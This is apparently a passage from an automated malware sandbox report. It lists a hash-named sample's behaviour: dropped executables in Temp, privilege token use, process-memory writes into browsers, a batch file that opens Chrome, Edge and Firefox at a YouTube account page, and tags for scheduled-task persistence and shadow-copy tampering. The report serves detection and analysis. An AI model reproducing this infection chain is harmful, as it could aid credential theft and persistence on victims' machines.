N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1156 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
PID 1156 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
PID 1156 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
PID 1704 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe
PID 1704 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe
PID 1704 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe
PID 3016 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe C:\Windows\system32\cmd.exe
PID 3016 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe C:\Windows\system32\cmd.exe
PID 2644 wrote to memory of 4212 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2644 wrote to memory of 4212 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2644 wrote to memory of 2196 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2644 wrote to memory of 2196 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2644 wrote to memory of 3384 N/A C:\Windows\system32\cmd.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2644 wrote to memory of 3384 N/A C:\Windows\system32\cmd.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4212 wrote to memory of 3332 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4212 wrote to memory of 3332 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2196 wrote to memory of 4940 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2196 wrote to memory of 4940 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3384 wrote to memory of 3276 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3384 wrote to memory of 3276 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3384 wrote to memory of 3276 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3384 wrote to memory of 3276 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3384 wrote to memory of 3276 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3384 wrote to memory of 3276 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3384 wrote to memory of 3276 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3384 wrote to memory of 3276 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3384 wrote to memory of 3276 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3384 wrote to memory of 3276 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3384 wrote to memory of 3276 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3276 wrote to memory of 3032 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe

"C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe"

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

"C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"

C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe

"C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DC37.tmp\DC38.tmp\DC48.bat C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"

C:\Program Files\Mozilla Firefox\firefox.exe

